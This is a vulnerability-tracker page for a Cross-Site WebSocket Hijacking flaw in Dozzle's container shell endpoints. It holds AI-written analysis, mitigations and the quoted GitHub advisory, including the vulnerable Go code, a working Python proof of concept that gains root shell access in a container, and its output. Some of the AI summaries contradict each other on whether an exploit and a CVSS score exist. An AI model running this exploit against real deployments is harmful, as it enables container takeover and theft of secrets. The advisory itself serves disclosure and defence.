Dozzle CVE-2026-44985
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconVictim authenticates to Dozzle
-
DeliveryAttacker lures victim to malicious same-site page
-
ExploitJavaScript opens cross-origin WebSocket to /exec endpoint
-
InstallBrowser sends JWT cookie (SameSite=Lax permits same-site)
-
C2Dozzle CheckOrigin returns true, accepts upgrade
-
ExecuteAuth middleware validates JWT from cookie
-
ImpactAttacker gains shell access in victim's containers
-
Step 8Execute commands as root (typical container context)
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication Origin validation
|
| Exploitation Conditions | Requires Dozzle deployed with --enable-shell flag AND authentication configured (simple auth, forward auth, or similar) AND victim must be authenticated with valid JWT cookie AND attacker must control a web page on a same-site origin sharing the same eTLD+1 domain (e.g., attacker controls attacker.example.com while Dozzle runs on dozzle.example.com, or attacker controls localhost:8888 while Dozzle runs on localhost:9090) AND victim must visit the attacker-controlled page while authenticated to Dozzle. The same-site origin requirement significantly limits attack surface compared to fully cross-origin vulnerabilities-single-domain deployments with no sibling subdomains or co-hosted services are not exploitable via remote attackers. The authentication requirement creates a paradox: unauthenticated Dozzle instances cannot be hijacked because there is no JWT cookie to steal, making properly secured deployments MORE vulnerable than unsecured ones. Attack does not require user interaction beyond visiting the malicious page; no click-through or social engineering beyond initial page load. localhost deployments are vulnerable only if multiple services run on the same host with different ports. Production deployments are vulnerable if organizational infrastructure includes multiple subdomains on the same base domain or if attacker compromises another application in the same domain. |
| Impact | Real-world risk depends heavily on deployment topology and attack surface. The vulnerability requires three preconditions: Dozzle deployed with --enable-shell flag, authentication configured (ironically making it exploitable-unauthenticated instances cannot be hijacked), and victim access to an attacker-controlled same-site origin. Attack complexity is LOW once preconditions are met-the PoC demonstrates straightforward exploitation via Python websocket library with cross-origin headers. No CVSS vector or EPSS score provided, limiting quantitative risk assessment. CISA KEV status: not listed. Publicly available exploit code exists in the GitHub advisory with working Python PoC. The 'same-site' constraint significantly reduces attack surface compared to fully cross-origin exploits: localhost deployments are vulnerable only if attacker controls another localhost service; production deployments are vulnerable only if attacker controls sibling subdomains or compromises another application on the same eTLD+1 domain. However, impact is CRITICAL when exploitable-shell access to Docker containers enables secret extraction, lateral movement, and potential host escape if /var/run/docker.sock is mounted writable (common Dozzle configuration). Multi-tenant environments, shared hosting, or organizations with multiple subdomains face elevated risk. Single-origin deployments with no other services on the same site have minimal exposure. Missing data: no SSVC decision tree, no vendor-assigned CVSS, no fix version confirmation despite advisory dating suggests unpatched status. Authentication paradox warrants emphasis: properly securing Dozzle with authentication makes it MORE vulnerable to CSWSH than running unauthenticated, because the JWT cookie enables hijacking. |
| Exploit ScenarioDerived | Attacker deploys a malicious web page on attacker.example.com while Dozzle runs on dozzle.example.com with authentication and shell access enabled. Victim user logs into Dozzle, obtaining a valid JWT cookie. Victim then visits the attacker's page (via phishing, watering hole, or compromised legitimate site). The attacker's JavaScript opens a WebSocket connection to wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec with an explicit cross-origin Origin header. The victim's browser attaches the JWT cookie because both origins share the same site (example.com), SameSite=Lax permits it. Dozzle's CheckOrigin function returns true, accepting the upgrade. Authentication middleware validates the JWT, granting shell access. The attacker now controls an interactive shell in any container the victim is authorized to access, enabling command execution, secret extraction, or lateral movement. Publicly available exploit code exists demonstrating this attack with a Python proof-of-concept script. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 11, 2026
Cross-Site WebSocket Hijacking (CSWSH) in Dozzle's /exec and /attach endpoints allows authenticated shell access bypass when --enable-shell is enabled. The vulnerability stems from WebSocket origin validation bypass (CheckOrigin returns true) combined with SameSite=Lax JWT cookies, enabling attackers on same-site origins (sibling subdomains or localhost services) to hijack victim WebSocket sessions and execute arbitrary commands in Docker containers. Affects all Dozzle deployments through version 10.5.1 with shell access enabled. No public exploit identified at time of analysis, but detailed proof-of-concept exists in the GitHub advisory demonstrating container shell access via Python script. CVSS score not assigned, but CWE-346 classification indicates origin validation failure.
RemediationAI
Upstream fix available (GitHub Security Advisory GHSA-j643-x8pv-8m67); released patched version not independently confirmed at time of analysis. The advisory recommends removing the custom CheckOrigin override to use gorilla/websocket's default secure origin validation, which rejects cross-origin WebSocket upgrade requests. Specific code change: remove the CheckOrigin function from the websocket.Upgrader in internal/web/terminal.go, allowing the library default (same-origin validation) to apply. Until patched version is deployed, organizations can implement compensating controls: (1) Disable shell access by removing the --enable-shell flag if not operationally required-this eliminates the attack surface entirely but removes functionality; (2) Deploy Dozzle on a dedicated subdomain with no other applications on the same eTLD+1 site to prevent same-site attacks-trade-off is increased infrastructure complexity; (3) Implement network-level access controls (VPN, IP allowlist) to restrict Dozzle access to trusted networks only-reduces attack surface but may impact legitimate remote access; (4) Change JWT cookie to SameSite=Strict mode via code modification-this prevents the cookie from being sent on cross-origin requests but will break legitimate workflows if users navigate to Dozzle from external links. For localhost deployments, ensure no other services run on the same host or use separate network namespaces. Monitor WebSocket connections for unexpected Origin headers as detection mechanism. Advisory reference: https://github.com/amir20/dozzle/security/advisories/GHSA-j643-x8pv-8m67 and https://github.com/advisories/GHSA-j643-x8pv-8m67.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Dozzle is a Go-based Docker container log viewer (pkg:go/github.com_amir20_dozzle) that uses gorilla/websocket for real-time terminal connections. The vulnerability exploits the interaction between WebSocket origin validation and browser same-site cookie policies. The code explicitly overrides gorilla/websocket's default secure CheckOrigin function to return true unconditionally, accepting WebSocket upgrade requests from any origin. Meanwhile, JWT authentication cookies use SameSite=Lax mode, which operates at the eTLD+1 site level rather than origin level. This creates a mismatch: SameSite=Lax prevents cross-site attacks (example.com vs evil.org) but permits same-site cross-origin requests (app.example.com vs attacker.example.com). CWE-346 (Origin Validation Error) captures the root cause-failure to validate the Origin header during WebSocket handshake. The /exec and /attach endpoints provide interactive shell access to Docker containers, making them high-value targets. When combined with the --enable-shell flag and any authentication provider (simple auth, forward auth, etc.), authenticated users become vulnerable to session hijacking from any attacker-controlled page on the same site.
Know when Docker gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Primary rating from Vendor (https://github.com/amir20/dozzle).
CVSS VectorVendor: https://github.com/amir20/dozzle
Lifecycle Timeline
2DescriptionCVE.org
Summary
The WebSocket upgrader for the /exec and /attach endpoints uses CheckOrigin: func(r *http.Request) bool { return true }, accepting upgrade requests from any origin. Combined with the JWT cookie using SameSite: Lax, this enables Cross-Site WebSocket Hijacking (CSWSH) - even when authentication is properly configured.
An attacker hosting a page on a same-site origin (e.g., a sibling subdomain, or another service on localhost) can initiate a WebSocket connection to the exec endpoint that carries the victim's valid JWT cookie, gaining interactive shell access in any container the victim is authorized to access.
Root cause
1. CheckOrigin bypassed (internal/web/terminal.go:15-21)
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
CheckOrigin: func(r *http.Request) bool {
return true
},
}The gorilla/websocket default CheckOrigin rejects cross-origin requests. Overriding it to return true removes the only server-side defense against CSWSH.
2. JWT cookie with SameSite=Lax (internal/web/auth.go:20-27)
http.SetCookie(w, &http.Cookie{
Name: "jwt",
Value: token,
HttpOnly: true,
Path: "/",
SameSite: http.SameSiteLaxMode,
Expires: expires,
})SameSite operates at the site level (eTLD+1), not the origin level. A page on evil.example.com can make a WebSocket request to dozzle.example.com and the browser will attach the JWT cookie, because they share the same site (example.com). SameSite=Lax only blocks cross-site requests (different eTLD+1), not cross-origin requests within the same site.
Attack scenario
Preconditions: Dozzle is deployed with --enable-shell and authentication configured (simple auth). The victim is logged in.
- Attacker controls a page on the same site (e.g.,
attacker.example.com, or another service onlocalhost:8888while Dozzle is onlocalhost:9090) - Victim visits the attacker's page while authenticated to Dozzle
- Attacker's JavaScript opens
new WebSocket('wss://dozzle.example.com/api/hosts/{host}/containers/{id}/exec') - Browser sends the JWT cookie (same-site,
SameSite=Laxallows it) - Dozzle's
CheckOriginreturnstrue- upgrade accepted - Auth middleware validates the JWT from the cookie - request authenticated
- Attacker has a shell in the victim's authorized containers
PoC (auth enabled)
Setup - Dozzle with authentication + shell:
docker-compose.yml:
services:
dozzle:
image: amir20/dozzle:latest
ports:
- "9090:8080"
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
- ./data:/data
environment:
- DOZZLE_AUTH_PROVIDER=simple
- DOZZLE_ENABLE_SHELL=true
target:
image: alpine:latest
command: sh -c "while true; do sleep 3600; done"data/users.yml:
users:
admin:
name: Admin
# password: admin123
password: "$2b$11$NdL2aePdZmwFzqGo5YYqaOwG.26CjSlnzU3VQNTEGnT0ewbds2JNS"
email: admin@test.local
roles: shellExploit - CSWSH with cross-origin Origin header + victim's cookie:
import json, time, websocket, requests
target = "http://localhost:9090"
# Verify auth is enabled
r = requests.get(f"{target}/api/events/stream", timeout=5, stream=True)
r.close()
assert r.status_code == 401, "Auth not enabled"
# Victim logs in
r = requests.post(f"{target}/api/token", data={"username": "admin", "password": "admin123"})
jwt = r.headers["Set-Cookie"].split("jwt=")[1].split(";")[0]
# Get container info (authenticated)
r = requests.get(f"{target}/api/events/stream", cookies={"jwt": jwt}, stream=True, timeout=10)
for line in r.iter_lines(decode_unicode=True):
if line and line.startswith("data: "):
data = json.loads(line[6:])
if isinstance(data, list) and len(data) > 0 and "host" in data[0]:
host_id = data[0]["host"]
cid = data[0]["id"]
break
r.close()
# CSWSH: cross-origin WebSocket with victim's cookie
ws_url = f"ws://localhost:9090/api/hosts/{host_id}/containers/{cid}/exec"
ws = websocket.create_connection(
ws_url, timeout=10,
cookie=f"jwt={jwt}",
origin="http://localhost:8888"
# DIFFERENT origin
)
# Connected! CheckOrigin:true accepted the cross-origin request
ws.send(json.dumps({"type": "resize", "width": 120, "height": 40}))
time.sleep(1); ws.recv()
ws.send(json.dumps({"type": "userinput", "data": "id\n"}))
time.sleep(2)
ws.settimeout(2)
output = []
try:
while True:
output.append(ws.recv())
except:
pass
ws.close()
print("".join(output))
# uid=0(root) gid=0(root) groups=0(root)
# Verify: without cookie = rejected
try:
ws2 = websocket.create_connection(ws_url, timeout=5, origin="http://localhost:8888")
ws2.close()
except Exception as e:
print(f"Without cookie: {e}")
# 401 UnauthorizedResult:
[+] Auth is ENABLED (events stream returns 401)
[+] WebSocket CONNECTED with cross-origin Origin: http://localhost:8888
[+] uid=0(root) gid=0(root) groups=0(root)
[+] Without cookie -> 401 UnauthorizedImpact
Users who deploy Dozzle with --enable-shell and properly configure authentication are still vulnerable to CSWSH. An attacker on a same-site origin can hijack the authenticated WebSocket to:
- Execute arbitrary commands in any container the victim has access to
- Read secrets, environment variables, and files inside containers
- Pivot to other services accessible from the container network
- Potentially escape to the Docker host if the socket is mounted writable
Suggested fix
Remove the custom CheckOrigin override and use the gorilla/websocket default, which rejects cross-origin requests:
var upgrader = websocket.Upgrader{
ReadBufferSize: 1024,
WriteBufferSize: 1024,
// Default CheckOrigin rejects cross-origin requests
}Executive ViewAI
Dozzle versions through 10.5.1 with shell access enabled are vulnerable to Cross-Site WebSocket Hijacking (CSWSH), allowing authenticated attackers from same-site origins to bypass shell access controls and execute arbitrary commands within Docker containers. This vulnerability impacts organizations using Dozzle for container management and monitoring, particularly those with shared hosting environments or multiple internal services on sibling subdomains, potentially enabling lateral movement and container compromise without direct authentication.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable --enable-shell flag unless operationally critical; (2) Enforce network segmentation to restrict Dozzle access to trusted internal networks only; (3) Implement strict Content Security Policy (CSP) headers with frame-ancestors directive on same-site applications to prevent framing attacks; (4) Configure SameSite=Strict for all session cookies; (5) Monitor WebSocket traffic for cross-origin requests to /exec and /attach endpoints; (6) Implement additional origin validation at reverse proxy layer if Dozzle is publicly accessible.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)CVE.org
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Same weakness CWE-346 – Origin Validation Error
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
GHSA-j643-x8pv-8m67
NVD
CVE.org
EPSS
VulDB
Exploit-DB